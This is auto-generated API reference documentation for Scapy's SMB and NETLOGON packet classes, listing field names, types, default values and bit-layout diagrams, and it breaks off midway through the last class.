class scapy.layers.smb.NETLOGON_SAM_LOGON_RESPONSE_EX(_pkt, /, *, OpCode=23, Sbz=0, Flags=<Flag 0 ()>, DomainGuid=None, DnsForestName=b'.', DnsDomainName=b'.', DnsHostName=b'.', NetbiosDomainName=b'.', NetbiosComputerName=b'.', UserName=b'.', DcSiteName=b'Default-First-Site-Name.', ClientSiteName=b'Default-First-Site-Name.', DcSockAddrSize=16, DcSockAddr=<DcSockAddr  |>, NextClosestSiteName=b'.', NtVersion=<Flag 11 (V1+V5+V5EX_WITH_IP)>, LmNtToken=65535, Lm20Token=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1049-L1092]

	Bases: NETLOGON, DNSCompressedPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |              SBZ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DOMAINGUID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DNSFORESTNAME         |         DNSDOMAINNAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DNSHOSTNAME          |       NETBIOSDOMAINNAME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      NETBIOSCOMPUTERNAME      |            USERNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DCSITENAME          |         CLIENTSITENAME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DCSOCKADDRSIZE|           DCSOCKADDR          |NEXTCLOSESTSITE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   NTVERSION                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           LMNTTOKEN           |   LM20TOKEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

               Fig. NETLOGON_SAM_LOGON_RESPONSE_EX                


NETLOGON_SAM_LOGON_RESPONSE_EX fields






	OpCode

	LEShortEnumField

	23



	Sbz

	LEShortField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	DomainGuid

	UUIDField

	None



	DnsForestName

	DNSStrField

	b'.'



	DnsDomainName

	DNSStrField

	b'.'



	DnsHostName

	DNSStrField

	b'.'



	NetbiosDomainName

	DNSStrField

	b'.'



	NetbiosComputerName

	DNSStrField

	b'.'



	UserName

	DNSStrField

	b'.'



	DcSiteName

	DNSStrField

	b'Default-First-Site-Name.'



	ClientSiteName

	DNSStrField

	b'Default-First-Site-Name.'



	DcSockAddrSize

	ByteField (Cond)

	16



	DcSockAddr

	PacketField (Cond)

	<DcSockAddr  |>



	NextClosestSiteName

	DNSStrField (Cond)

	b'.'



	NtVersion

	FlagsField

	<Flag 11 (V1+V5+V5EX_WITH_IP)>



	LmNtToken

	XLEShortField

	65535



	Lm20Token

	XLEShortField

	65535











	
get_full()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1091-L1092]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1080-L1089]

	








	
class scapy.layers.smb.NETLOGON_SAM_LOGON_RESPONSE_NT40(_pkt, /, *, OpCode=19, UnicodeLogonServer=b'', UnicodeUserName=b'', UnicodeDomainName=b'', NtVersion=<Flag 1 (V1)>, LmNtToken=65535, Lm20Token=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L971-L980]

	Bases: NETLOGON


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |       UNICODELOGONSERVER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNICODEUSERNAME        |       UNICODEDOMAINNAME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NTVERSION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LMNTTOKEN           |           LM20TOKEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. NETLOGON_SAM_LOGON_RESPONSE_NT40               


NETLOGON_SAM_LOGON_RESPONSE_NT40 fields






	OpCode

	LEShortEnumField

	19



	UnicodeLogonServer

	StrNullFieldUtf16

	b''



	UnicodeUserName

	StrNullFieldUtf16

	b''



	UnicodeDomainName

	StrNullFieldUtf16

	b''



	NtVersion

	FlagsField

	<Flag 1 (V1)>



	LmNtToken

	XLEShortField

	65535



	Lm20Token

	XLEShortField

	65535















	
class scapy.layers.smb.SMBMailslot_Write(_pkt, /, *, WordCount=17, TotalParamCount=None, TotalDataCount=None, MaxParamCount=0, MaxDataCount=0, MaxSetupCount=0, Reserved1=0, Flags=<Flag 0 ()>, Timeout=1000, Reserved2=0, ParameterLen=None, ParameterBufferOffset=None, DataLen=None, DataBufferOffset=None, SetupCount=3, Reserved3=0, Setup=[1, 1, 2], ByteCount=None, Name=b'\\MAILSLOT\\NET\\NETLOGON', Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L795-L796]

	Bases: SMBTransaction_Request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |        TOTALPARAMCOUNT        | TOTALDATACOUNT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         MAXPARAMCOUNT         |  MAXDATACOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | MAXSETUPCOUNT |   RESERVED1   |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    TIMEOUT                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           RESERVED2           |  PARAMETERLEN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PARAMETERBUFFEROFFSET     |    DATALEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        DATABUFFEROFFSET       |   SETUPCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED3   |             SETUP             |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              NAME             |     BUFFER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. SMBMailslot_Write                      


SMBMailslot_Write fields






	WordCount

	FieldLenField

	17



	TotalParamCount

	FieldLenField

	None



	TotalDataCount

	FieldLenField

	None



	MaxParamCount

	LEShortField

	0



	MaxDataCount

	LEShortField

	0



	MaxSetupCount

	ByteField

	0



	Reserved1

	ByteField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	Timeout

	LEIntField

	1000



	Reserved2

	ShortField

	0



	ParameterLen

	LEShortField

	None



	ParameterBufferOffset

	LEShortField

	None



	DataLen

	LEShortField

	None



	DataBufferOffset

	LEShortField

	None



	SetupCount

	FieldLenField

	3



	Reserved3

	ByteField

	0



	Setup

	FieldListField

	[1, 1, 2]



	ByteCount

	FieldLenField

	None



	Name

	StrNullField

	b'\\MAILSLOT\\NET\\NETLOGON'



	Buffer

	_NTLMPayloadField

	[]















	
class scapy.layers.smb.SMBNegotiate_Request(_pkt, /, *, WordCount=0, ByteCount=None, Dialects=[<SMB_Dialect  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L267-L278]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |           BYTECOUNT           |    DIALECTS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. SMBNegotiate_Request                     


SMBNegotiate_Request fields






	WordCount

	ByteField

	0



	ByteCount

	LEFieldLenField

	None



	Dialects

	PacketListField

	[<SMB_Dialect  |>]















	
class scapy.layers.smb.SMBNegotiate_Response_Extended_Security(_pkt, /, *, WordCount=17, DialectIndex=7, SecurityMode=<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>, MaxMpxCount=50, MaxNumberVC=1, MaxBufferSize=16144, MaxRawSize=65536, SessionKey=0, ServerCapabilities=<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>, ServerTime=None, ServerTimeZone=60, ChallengeLength=None, ByteCount=None, Challenge=b'', GUID=None, SecurityBlob=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L428-L440]

	Bases: _SMBNegotiate_Response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |          DIALECTINDEX         |  SECURITYMODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXMPXCOUNT          |          MAXNUMBERVC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAXBUFFERSIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAXRAWSIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SESSIONKEY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SERVERCAPABILITIES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVERTIMEZONE        |CHALLENGELENGTH|   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           CHALLENGE           |      GUID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |  SECURITYBLOB |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

           Fig. SMBNegotiate_Response_Extended_Security           


SMBNegotiate_Response_Extended_Security fields






	WordCount

	ByteField

	17



	DialectIndex

	LEShortField

	7



	SecurityMode

	FlagsField

	<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>



	MaxMpxCount

	LEShortField

	50



	MaxNumberVC

	LEShortField

	1



	MaxBufferSize

	LEIntField

	16144



	MaxRawSize

	LEIntField

	65536



	SessionKey

	LEIntField

	0



	ServerCapabilities

	FlagsField

	<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>



	ServerTime

	UTCTimeField

	None



	ServerTimeZone

	ScalingField

	60



	ChallengeLength

	FieldLenField

	None



	ByteCount

	LEFieldLenField

	None



	Challenge

	XStrLenField

	b''



	GUID

	UUIDField

	None



	SecurityBlob

	PacketLenField

	None















	
class scapy.layers.smb.SMBNegotiate_Response_NoSecurity(_pkt, /, *, WordCount=1, DialectIndex=7, SecurityMode=<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>, MaxMpxCount=50, MaxNumberVC=1, MaxBufferSize=16144, MaxRawSize=65536, SessionKey=0, ServerCapabilities=<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>, ServerTime=None, ServerTimeZone=60, ChallengeLength=None, ByteCount=None, Challenge=b'', DomainName=b'WORKGROUP')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L371-L420]

	Bases: _SMBNegotiate_Response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |          DIALECTINDEX         |  SECURITYMODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXMPXCOUNT          |          MAXNUMBERVC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAXBUFFERSIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAXRAWSIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SESSIONKEY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SERVERCAPABILITIES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVERTIMEZONE        |CHALLENGELENGTH|   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           CHALLENGE           |   DOMAINNAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

              Fig. SMBNegotiate_Response_NoSecurity               


SMBNegotiate_Response_NoSecurity fields






	WordCount

	ByteField

	1



	DialectIndex

	LEShortField

	7



	SecurityMode

	FlagsField

	<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>



	MaxMpxCount

	LEShortField

	50



	MaxNumberVC

	LEShortField

	1



	MaxBufferSize

	LEIntField

	16144



	MaxRawSize

	LEIntField

	65536



	SessionKey

	LEIntField

	0



	ServerCapabilities

	FlagsField

	<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>



	ServerTime

	UTCTimeField

	None



	ServerTimeZone

	ScalingField

	60



	ChallengeLength

	FieldLenField

	None



	ByteCount

	LEFieldLenField

	None



	Challenge

	XStrLenField

	b''



	DomainName

	StrNullField

	b'WORKGROUP'















	
class scapy.layers.smb.SMBNegotiate_Response_Security(_pkt, /, *, WordCount=17, DialectIndex=7, SecurityMode=<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>, MaxMpxCount=50, MaxNumberVC=1, MaxBufferSize=16144, MaxRawSize=65536, SessionKey=0, ServerCapabilities=<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>, ServerTime=None, ServerTimeZone=60, ChallengeLength=None, ByteCount=None, Challenge=b'', DomainName=None, ServerName=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L454-L474]

	Bases: _SMBNegotiate_Response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |          DIALECTINDEX         |  SECURITYMODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAXMPXCOUNT          |          MAXNUMBERVC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAXBUFFERSIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAXRAWSIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SESSIONKEY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SERVERCAPABILITIES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVERTIMEZONE        |CHALLENGELENGTH|   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           CHALLENGE           |   DOMAINNAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           SERVERNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SMBNegotiate_Response_Security                


SMBNegotiate_Response_Security fields






	WordCount

	ByteField

	17



	DialectIndex

	LEShortField

	7



	SecurityMode

	FlagsField

	<Flag 3 (USER_SECURITY+ENCRYPT_PASSWORDS)>



	MaxMpxCount

	LEShortField

	50



	MaxNumberVC

	LEShortField

	1



	MaxBufferSize

	LEIntField

	16144



	MaxRawSize

	LEIntField

	65536



	SessionKey

	LEIntField

	0



	ServerCapabilities

	FlagsField

	<Flag 62457 (RAW_MODE+LARGE_FILES+NT_SMBS+RPC_REMOTE_APIS+STATUS32+LEVEL_II_OPLOCKS+LOCK_AND_READ+NT_FIND+DFS+INFOLEVEL_PASSTHRU+LARGE_READX+LARGE_WRITEX)>



	ServerTime

	UTCTimeField

	None



	ServerTimeZone

	ScalingField

	60



	ChallengeLength

	FieldLenField

	None



	ByteCount

	LEFieldLenField

	None



	Challenge

	XStrLenField

	b''



	DomainName

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'WORKGROUP'



	ServerName

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'RMFF1'















	
class scapy.layers.smb.SMBSession_Null(_pkt, /, *, WordCount=0, ByteCount=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L672-L673]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |           BYTECOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SMBSession_Null                       


SMBSession_Null fields






	WordCount

	ByteField

	0



	ByteCount

	LEShortField

	0















	
class scapy.layers.smb.SMBSession_Setup_AndX_Request(_pkt, /, *, WordCount=13, AndXCommand=255, AndXReserved=0, AndXOffset=None, MaxBufferSize=16144, MaxMPXCount=50, VCNumber=0, SessionKey=0, OEMPasswordLength=None, UnicodePasswordLength=None, Reserved=0, ServerCapabilities=<Flag 5 (RAW_MODE+UNICODE)>, ByteCount=None, OEMPassword=b'Pass', UnicodePassword=b'Pass', AccountName=None, PrimaryDomain=None, NativeOS=None, NativeLanMan=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L484-L517]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |  ANDXCOMMAND  |  ANDXRESERVED |   ANDXOFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         MAXBUFFERSIZE         |  MAXMPXCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VCNUMBER           |   SESSIONKEY  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |OEMPASSWORDLENG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     UNICODEPASSWORDLENGTH     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |SERVERCAPABILIT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   BYTECOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          OEMPASSWORD          |UNICODEPASSWORD|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          ACCOUNTNAME          | PRIMARYDOMAIN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            NATIVEOS           |  NATIVELANMAN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. SMBSession_Setup_AndX_Request                


SMBSession_Setup_AndX_Request fields






	WordCount

	ByteField

	13



	AndXCommand

	ByteEnumField

	255



	AndXReserved

	ByteField

	0



	AndXOffset

	LEShortField

	None



	MaxBufferSize

	LEShortField

	16144



	MaxMPXCount

	LEShortField

	50



	VCNumber

	LEShortField

	0



	SessionKey

	LEIntField

	0



	OEMPasswordLength

	LEFieldLenField

	None



	UnicodePasswordLength

	LEFieldLenField

	None



	Reserved

	LEIntField

	0



	ServerCapabilities

	FlagsField

	<Flag 5 (RAW_MODE+UNICODE)>



	ByteCount

	LEShortField

	None



	OEMPassword

	XStrLenField

	b'Pass'



	UnicodePassword

	XStrLenField

	b'Pass'



	AccountName

	ReversePadField

	None



	PrimaryDomain

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b''



	NativeOS

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'



	NativeLanMan

	MultipleTypeField (StrNullFieldUtf16, StrNullField)

	b'Windows 4.0'











	
payload_guess

	Possible sublayers:
SMBTree_Connect_AndX






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L510-L517]

	








	
class scapy.layers.smb.SMBSession_Setup_AndX_Request_Extended_Security(_pkt, /, *, WordCount=12, AndXCommand=255, AndXReserved=0, AndXOffset=None, MaxBufferSize=16144, MaxMPXCount=50, VCNumber=0, SessionKey=0, SecurityBlobLength=None, Reserved=0, ServerCapabilities=<Flag 5 (RAW_MODE+UNICODE)>, ByteCount=None, SecurityBlob=None, NativeOS=None, NativeLanMan=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L555-L584]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   WORDCOUNT   |  ANDXCOMMAND  |  ANDXRESERVED |   ANDXOFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         MAXBUFFERSIZE         |  MAXMPXCOUNT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VCNUMBER           |   SESSIONKEY  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |SECURITYBLOBLEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               SERVERCAPABILITIES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           BYTECOUNT           |  SECURITYBLOB |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            NATIVEOS           |  NATIVELANMAN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

